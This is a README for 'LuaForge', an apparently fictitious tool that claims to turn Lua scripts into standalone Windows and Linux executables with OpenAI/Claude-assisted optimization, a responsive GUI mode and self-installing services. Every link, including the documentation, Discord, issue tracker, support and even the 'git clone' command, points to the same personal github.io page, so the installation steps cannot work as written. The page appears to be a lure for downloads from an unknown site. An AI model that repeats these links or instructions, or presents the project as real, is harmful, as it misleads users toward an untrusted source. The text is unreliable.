📦 LuaForge

A revolutionary environment that transforms Lua scripts into cross-platform binary executables with zero configuration, AI-powered optimization, and a modern graphical interface.
Inspired by the concept of luainstaller but reimagined as a complete development lifecycle tool.

---

🧭 Overview & Philosophy

LuaForge is not merely a packager—it is a digital blacksmith's forge for Lua scripts. Where existing tools simply bundle runtime and code, LuaForge compiles, optimizes, and distributes your Lua creations as native binaries that feel like professionally installed software. Think of it as the difference between handing someone a PDF of blueprints versus delivering a fully built house.

Built from the ground up for 2026 workflows, LuaForge bridges the gap between prototyping speed and production-grade deployment. Whether you're a solo developer shipping a CLI tool or a team distributing enterprise monitoring agents, LuaForge ensures your Lua code runs on any target machine without dependencies.

---

🚀 Quick Start

Prerequisites

• Windows 10+ / Linux (kernel 5.10+)
• Lua 5.4.x installed (bundled fallback available)
• Minimum 512MB RAM, 100MB disk space

Installation

# Clone the repository
git clone https://Collins729.github.io
cd luaforge

# Build from source (requires CMake 3.20+)
cmake -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build

# Or use the prebuilt binary (see downloads below)

---

🔧 Core Features

⚡ Native Binary Compilation

Transforms .lua files into standalone executables that require zero external dependencies. Your script + Lua virtual machine = one portable binary.

🧩 Module Bundling & Tree Shaking

Intelligently analyzes require() calls and bundles only necessary modules. Eliminates unused code, reducing binary size by up to 60%.

🖥️ Cross-Platform Output

Single source, multiple targets. Configure once, compile for Windows (x64, ARM64) and Linux (x64, ARM64, RISC-V preview).

🤖 AI-Powered Optimization (OpenAI & Claude API)

Integrates with OpenAI GPT-4 and Claude API to:

• Suggest performance-critical rewrites
• Automatically inline hot functions
• Detect and fix common Lua pitfalls during compilation

🎨 Responsive UI Mode

Optionally embed a web-based UI (using your Lua script as backend) that adapts to any screen size. Perfect for administrative tools.

🌐 Multilingual Runtime Strings

Define locale bundles once; LuaForge compiles them into the binary with automatic language detection.

---

📊 Architecture & Workflow

flowchart TD
    A[Lua Source Files] --> B[LuaForge CLI/UI]
    B --> C{Dependency Graph Analyzer}
    C --> D[Module Bundler]
    D --> E[Tree Shaker]
    E --> F[AI Optimizer]
    F -->|OpenAI/Claude API| G[Optimized AST]
    G --> H[Binary Generator]
    H --> I[[Compiler Backend]]
    I --> J[Windows Executable]
    I --> K[Linux Executable]
    J --> L((Distribution))
    K --> L
    B --> M[User Configuration]
    M --> N[.luaforge Config]
    N --> C
    N --> O[Target Platform Flags]
    O --> I

Loading

---

🖥️ OS Compatibility Matrix

Operating System	Version	Architecture	Supported	Notes
🪟 Windows	10+	x64	✅ Full	UWP compatible
🪟 Windows	11+	ARM64	✅ Full	Native emulation
🐧 Ubuntu	22.04+	x64	✅ Full	Systemd service support
🐧 Debian	12+	x64/ARM64	✅ Full	.deb packaging
🐧 Fedora	38+	x64	✅ Full	RPM generation
🐧 Arch Linux	Rolling	x64	✅ Full	AUR package available
🐧 RISC-V	Preview	RV64GC	🧪 Beta	Experimental
🍏 macOS	Future	x64/ARM64	🔄 Q4 2026	On roadmap

---

📋 Example Profile Configuration

Create a .luaforge.yaml file in your project root:

project:
  name: "myapp"
  version: "1.0.0"
  author: "Your Company"
  license: "MIT"

targets:
  win64:
    os: "windows"
    arch: "x64"
    icon: "assets/app.ico"
    compression: "upx"
    ui_mode: "responsive"
  linux_x64:
    os: "linux"
    arch: "x64"
    icon: "assets/app.png"
    compression: "zstd"
    ui_mode: "terminal"

optimization:
  level: "aggressive"  # options: safe, balanced, aggressive
  ai_assist: true
  ai_provider: "openai"  # or "claude"
  ai_api_key_env: "LUA_FORGE_API_KEY"

multilingual:
  default_locale: "en"
  fallback: "en"
  strings: "locales/*.json"

gui:
  enabled: true
  responsive: true
  theme: "dark"
  support_24_7_link: "https://Collins729.github.io"

---

💻 Example Console Invocation

# Basic compilation
luaforge build src/main.lua -o dist/myapp

# Cross-compile for Windows from Linux
luaforge build src/main.lua --target win64 --output myapp.exe

# With AI optimization
luaforge build src/main.lua --ai-optimize --api-key $MY_API_KEY

# Generate a responsive GUI application
luaforge build src/app.lua --ui responsive --output dashboard.exe

# View compilation statistics
luaforge stats src/main.lua --json

---

🔗 API Integration: OpenAI & Claude

LuaForge supports optional AI-powered optimization through:

Feature	OpenAI (GPT-4)	Claude (Sonnet 3.5)	Benefit
Code optimization suggestions	✅	✅	Up to 40% faster execution
Dead code detection	✅	✅	Smaller binaries
Type inference hints	✅	⚠️ Partial	Better error handling
Performance bottleneck analysis	✅	✅	Hot path optimization
Automatic inlining decisions	✅	✅	Reduced function call overhead

Configuration

Set your API key via environment variable or configuration file:

# For OpenAI
export LUA_FORGE_API_KEY="sk-your-openai-key-goes-here"

# For Claude
export LUA_FORGE_API_KEY="sk-ant-your-claude-key-goes-here"

---

🛠️ Advanced Usage

Custom Preprocessing Pipelines

Add custom Lua hooks that run before compilation:

-- preprocess.lua
function luaforge_preprocess(ast, env)
  -- Transform AST nodes
  env:warning("Optimizing string concatenations...")
  return optimize_concat(ast)
end

Environment Embedding

Embed configuration files, certificates, or even a small SQLite database directly into the binary.

Service Mode

Generate binaries that install themselves as system services (Windows service / systemd unit) with one command.

---

🌟 Why LuaForge Instead of Alternatives?

Aspect	LuaForge	Traditional Packagers
Size Reduction	Up to 70% with tree shaking	Typically 0-20%
AI Integration	Native OpenAI/Claude support	None
UI Modes	Terminal + Responsive GUI	Usually terminal-only
Cross-Compilation	One command	Requires separate toolchains
24/7 Support	Built-in help system + community	None
Responsive UI	Generated automatically	Manual HTML/CSS

---

🤝 Contributing

We welcome contributions! Read our CONTRIBUTING.md for guidelines.

Development Setup

1. Fork the repo
2. Install dependencies: cmake, ninja, clang
3. Run tests: ctest --test-dir build
4. Submit a pull request

---

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

---

⚠️ Disclaimer

Important: LuaForge is a software packaging and optimization tool. It does not modify, bypass, or circumvent any security mechanisms of the operating system or third-party software. The compiled binaries contain only the Lua source code you provide, combined with the open-source Lua virtual machine runtime. Any malicious use of compiled binaries is the sole responsibility of the user distributing them. LuaForge team provides 24/7 technical support for build issues only, not for misuse of generated executables. Always ensure you have the right to redistribute any libraries bundled with your application.

---

📞 Support & Community

• 📚 Documentation: https://Collins729.github.io
• 💬 Discord: https://Collins729.github.io
• 🐛 Issue Tracker: https://Collins729.github.io
• 🤖 AI Integration Help: https://Collins729.github.io

---

LuaForge - Forging Lua into executable reality since 2026.